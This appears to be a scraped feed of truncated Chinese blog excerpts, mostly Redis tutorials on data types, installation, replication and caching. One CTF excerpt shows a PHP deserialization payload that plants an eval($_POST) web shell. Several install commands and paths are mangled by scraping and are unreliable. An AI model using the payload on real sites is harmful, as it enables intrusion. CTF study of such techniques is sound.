Redis常用的数据类型：String、Hash、List、Set、zSet、SortedsetString类型//判断是否有key所对应的值，有则返回true，没有则返回falseredisTemplate.hasKey(key)//有则取出key值所对应的值redisTemplate.opsForValue().get(key)//删除单个key值redisTemplate.delete(key)//

悲观锁和乐观锁悲观锁：一开始就认为着里会出现锁的竞争，给自己加一把锁​ 比如一些人为了防止犯错误，一开始就要等到时机非常成熟的时候才会行动，比如锁一样，他拿到一把锁之后才去执行，抱着一种悲观的态度。乐观锁：不关心执行的时出现错误，如果出现问题我重新执行一次，不停的尝试​

1.创建项目如果出现init失败（需要等待网络可以正常连接）或者运行主类的时候报错(错误:找不到或无法加载主类)，需要重新导入maven项目再重新编译试试。 2.引入pomjar<?xmlversion="1.0"encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:x

第一章redis初识1.1Redis是什么介绍开源：早起版本2w3千行基于键值对的存储系统：字典形式多种数据结构：字符串，hash，列表，集合，有序集合高性能，功能丰富那些公司在用github，twitter，stackoverflow，阿里，百度，微博，美团，搜狐1.2Redis特性（8个）速度快 10wops（每秒10w读写），数据

本文已收录于GithubCodeClass和GiteeCodeClass致力于打造高质量编程学习课堂，内含百篇原创技术文章，千本计算机开源电子书，谷歌、阿里大神开源LeetCode题解，各类编程学习资源，欢迎star，一起学习！大家春节在家抢红包玩的不亦乐乎，抢红包服务看起来非常简单，实际上要做好这个服

Redis数据类型String类型字符串类型是Redis中最为基础的数据存储类型，它再Redis中是二进制安全的，这便意味着该类型可以接收任何格式的数据，如JPEG图像数据或Json对象描述信息等。在Redis中字符串类型的Value最多可以容纳的数据长度是512M。保存如果设置的键不存在则为添加，如

查询redis路径1、执行ps-ef|grepredis命令，结果如下（记住PID）2、执行ps-u系统用户名，进一步确定进程id,我这里的系统用户名是root，执行ps-uroot，结果如下： 结合1的操作结果图可知：redis服务所在的进程id为7284。3、进入linux的进程目录/proc,执行ls-l,可以看到对应的

有序集合SortedSetzaddzadd用于向集合中添加元素并且可以设置分值，比如添加三门编程语言，分值分别为1、2、3：127.0.0.1:6379>zaddlanguage1java(integer)1127.0.0.1:6379>zaddlanguage2c++(integer)1127.0.0.1:6379>zaddlanguage3python(integer)1zrange

1.源码包下载并解压wgethttp://download.redis.ioeleasesedis-6.2.6.tar.gztar-zxvfredis-6.2.6.tar.gz2.源码安装make&&makeinstallPREFIX=/usr/localedisedis-6.2.63.报错处理报错1：  处理：yum-yinstallgccgcc-c++报错2：  处理：makeMALLOC=li

1.解决：zmalloc.h:50:31:致命错误：jemalloc/jemalloc.h：没有那个文件或目录//执行命令可完成安装makeMALLOC=libc2.redis安装出现/bin/sh cc: 未找到命令yum-yinstallgccautomakeautoconflibtoolmake 3.make报错错误信息：安装gcc版本过低 https://blog.cs

以前简单说明下如何集成，在此说明下集成核心的指令，可以加速我们的集成参考集成模式此图以前简单介绍过  核心:基于redis以及一些消息管理api，我们利用nchan提供的auth以及消息转发能力，对于消息进行处理，对于消息做一些扩展几个核心指令认证&安全因为部分处理属于长

RedisList在Redis3.2版之前，Redis使用压缩列表和双向链表作为List的底层实现。当元素个数比较少并且元素长度比较小时，Redis使用压缩列表实现，否则Redis使用双向链表实现。ziplist存在问题不能保存过多的元素，否则查找复杂度高，性能降低。由于每个节点保存了前一个节点的长度，

redis简单应用demo1.字符串127.0.0.1:6379>sethellotoneyOK127.0.0.1:6379>typehellostring127.0.0.1:6379>gethello"toney"2.Hash哈希表HashMap<key,HashMap<>>127.0.0.1:6379>hsethash_testa1(integer)1127.0.0.1:6379>hsethash

缓存穿透当用户想到查询的key的值，在redis中查询不到时，而这时有大量的请求访问这个key，会导致缓存没有命中，从而去访问数据库，这时会给数据库带来很大的查询压力，从而导致性能下降解决方式1布隆过滤器：布隆过滤器是一种数据结构，对所有可能查询到的参数多是以hash的方式去存储，先在

参考官网https:/edis.io/download/https:/edis.io/docs/getting-started/installation/install-redis-from-source/下载最新稳定版，当前是7.0.0wgethttps://download.redis.ioedis-stable.tar.gztarzxf/usr/local/srcedis-stable.tar.gz-C/usr/local/安装编译工具

内容详细1redis高可用#主从复制存在的问题：1主从复制，主节点发生故障，需要做故障转移，可以手动转移：让其中一个slave变成master--->哨兵2主从复制，只能主写数据，所以写能力和存储能力有限----》集群#案例-一主两从，主写数据，从读

参考源https://www.bilibili.com/video/BV1S54y1R7SB?spm_id_from=333.999.0.0版本本文章基于Redis6.2.6概述主从复制，是指将一台Redis服务器的数据，复制到其他的Redis服务器前者称为主节点（master/leader），后者称为从节点（slave/follower）。数据的复制是单向的，只

maxmemory配置  Redis_八种数据淘汰策略noeviction:和.net回收对象不一样,.net回收对象是对象不在使用,这个则是在使用的数据满了直接返回报错,造成数据丢失Lru的算法策略：删除最近使用的,有可能删除使用周期长的数据,但不代表这个数据不使用Lfu的算法策略：在lru的算法基础

  Redis概述在我们日常的开发中，无不都是使用数据库来进行数据的存储，由于一般的系统任务中通常不会存在高并发的情况，所以这样看起来并没有什么问题，可是一旦涉及大数据量的需求，比如一些商品抢购的情景，或者是主页访问量瞬间较大的时候，单一使用数据库来保存数据的系统会因

JWT认证JsonWebTokwn，一种认证机制。JWT分为三个部分，JWT头|有效载荷|签名1.JWT头——Header{"alg":"HS256",//签名使用的算法"typ":"JWT"//令牌类型}最后，使用Base64算法将上述JSON对象转换为字符串保存。2.有效载荷——Payload{"iss":"发行

Redis与其他key-value缓存产品有以下三个特点：Redis支持数据的持久化，可以将内存中的数据保持在磁盘中，重启的时候可以再次加载进行使用。Redis不仅仅支持简单的key-value类型的数据，同时还提供list，set，zset，hash等数据结构的存储。Redis支持数据的备份，即master-slave模式的数

输入命令：redis-server.exeredis.windows.conf 后提示：   解决办法:依次执行以下命令：1.redis-cli.exe，进入redis命令模式2.shutdown,关闭服务器，此时断开连接3.eixt，退出redis命令模式4.重新输入：redis-server.exeredis.windows.conf  启动服务器成功。 

Redis开机自启配置vi/usr/lib/systemd/systemedis.service#!/bin/sh[Unit]Description=RedisserviceAfter=network.target[Service]Type=forking#服务启停ExecStart=/usr/local/binedis-server/homeedis/6379.confExecStop=/usr/local/binedis-cli-a123

配置主从服务    搭建主从服务两个Redis服务可以在同一台电脑，也可以不在同一台电脑上。    如果不在同一台电脑，要保证这两台电脑能够相互通信。1、查看本机ip地址ifconfig#查看本机ip地址2、查看redis.conf文件，bind本机的ip地址3、重启redis服务sudoservice

简介为了保障基础服务的稳定，需要对MQ进行灾备，这个灾备主要是防患MQ突然不可能，基础服务依然可以调用其他队列来继续正常运行。第一想法是引入其他MQ中间件来做灾备，这样只需要实现一套生产者消费者就好。但因为公司这块中间件都使用的云产品。要过要使用其他类型的MQ中间件

redis部署12022-06-1214:56:4322022-06-1212:17:49ls32022-06-1212:17:51free42022-06-1214:57:01ls52022-06-1214:58:28ll62022-06-1214:58:31pwd72022-06-1214:58:36cd/usrlo82022-06-1214:58:41cd/usr/local

参考源https://www.bilibili.com/video/BV1S54y1R7SB?spm_id_from=333.999.0.0版本本文章基于Redis6.2.6使用缓存的问题Redis缓存的使用，极大的提升了应用程序的性能和效率，特别是数据查询方面。但同时，它也带来了一些问题。其中，最要害的问题，就是数据的一致性问题，从严格

参考源https://www.bilibili.com/video/BV1S54y1R7SB?spm_id_from=333.999.0.0版本本文章基于Redis6.2.6概述Jedis是Redis官方推荐的Java连接开发工具。Jedis客户端同时支持单机模式、分片模式、集群模式的访问模式：通过构建Jedis类对象实现单机模式下的数据

代码pop链子构造不难，问题是反序列化要绕过wakeup，正常就是改数字，但是这里有个正则过滤注意匹配的是大写字母，而类的名称大小写即可，于是可以绕过 反序列化传入一个一句话代码，蚁剑连接?poc=O:1:%22b%22:2:{s:1:%22a%22;O:1:%22a%22:1:{s:4:%22code%22;s:16:%22eval($_POST[1]

Redis入门•Redis是一款基于键值对的NoSQL数据库，它的值支持多种数据结构：字符串(strings)、哈希(hashes)、列表(lists)、集合(sets)、有序集合(sortedsets)等。•Redis将所有的数据都存放在内存中，所以它的读写性能十分惊人。同时，Redis还可以将内存中的数据以快照或日志